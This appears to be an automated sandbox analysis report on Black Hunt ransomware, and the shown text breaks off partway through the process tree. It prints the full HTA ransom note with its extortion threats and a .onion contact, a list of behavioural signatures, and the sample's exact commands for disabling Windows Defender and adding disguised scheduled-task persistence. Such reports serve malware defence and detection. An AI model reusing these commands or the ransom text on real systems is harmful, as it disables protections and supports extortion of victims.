Analysis

  • max time kernel
    135s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/01/2024, 00:30

General

  • Target

    ac57be56a89079debf734715ce3535ad3997ffeea84e64cc85fa63a89476596a.exe

  • Size

    707KB

  • MD5

    b51c415ebef463bc5fd6067a4e61e4c4

  • SHA1

    de476dc342c9402936cbf25847cc7788a4451421

  • SHA256

    ac57be56a89079debf734715ce3535ad3997ffeea84e64cc85fa63a89476596a

  • SHA512

    5f493ee8b8d15157fa69064b2a42387e3c699b594473bc0eabaeb8edaa2adae5353565bb0d7664486860e65797be7535bfc1a0598d7f175247287807103de269

  • SSDEEP

    6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza128nvnh:6uaTmkZJ+naie5OTamgEoKxLWlvh

Malware Config

Extracted

Path

C:\#BlackHunt_ReadMe.hta

Ransom Note
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> Xc57NfQFE7DhTwRS </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>
URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

  • Deletes NTFS Change Journal 2 TTPs 2 IoCs

    The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 5 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
  • Renames multiple (3395) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Deletes backup catalog 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Disables Task Manager via registry modification
  • Disables use of System Restore points 1 TTPs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 27 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Interacts with shadow copies 2 TTPs 6 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 11 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ac57be56a89079debf734715ce3535ad3997ffeea84e64cc85fa63a89476596a.exe
    "C:\Users\Admin\AppData\Local\Temp\ac57be56a89079debf734715ce3535ad3997ffeea84e64cc85fa63a89476596a.exe"
    1⤵
    • UAC bypass
    • Checks computer location settings
    • Checks whether UAC is enabled
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:3420
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4580
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
        3⤵
          PID:2684
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1368
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
          3⤵
            PID:4204
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4940
          • C:\Windows\system32\reg.exe
            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
            3⤵
              PID:2840
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
            2⤵
              PID:1804
              • C:\Windows\system32\reg.exe
                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                3⤵
                  PID:740
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:532
                • C:\Windows\system32\reg.exe
                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                  3⤵
                  • Modifies Windows Defender Real-time Protection settings
                  PID:3580
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:5040
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4036
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2404
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1604
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2096
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
                2⤵
                  PID:2356
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\ac57be56a89079debf734715ce3535ad3997ffeea84e64cc85fa63a89476596a.exe" /F
                    3⤵
                    • Creates scheduled task(s)
                    • Suspicious use of WriteProcessMemory
                    PID:1804
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:468
                  • C:\Windows\system32\reg.exe
                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                    3⤵
                      PID:2976
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2392
                    • C:\Windows\system32\reg.exe
                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                      3⤵
                        PID:2204
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                      2⤵
                        PID:3292
                        • C:\Windows\system32\reg.exe
                          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                          3⤵
                            PID:3476
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2144
                          • C:\Windows\system32\reg.exe
                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                            3⤵
                              PID:2748
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                            2⤵
                              PID:1040
                              • C:\Windows\system32\reg.exe
                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                3⤵
                                  PID:708
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                2⤵
                                  PID:4072
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                    3⤵
                                      PID:4080
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                    2⤵
                                      PID:1896
                                      • C:\Windows\system32\reg.exe
                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                        3⤵
                                          PID:2160
                                      • C:\Windows\System32\cmd.exe
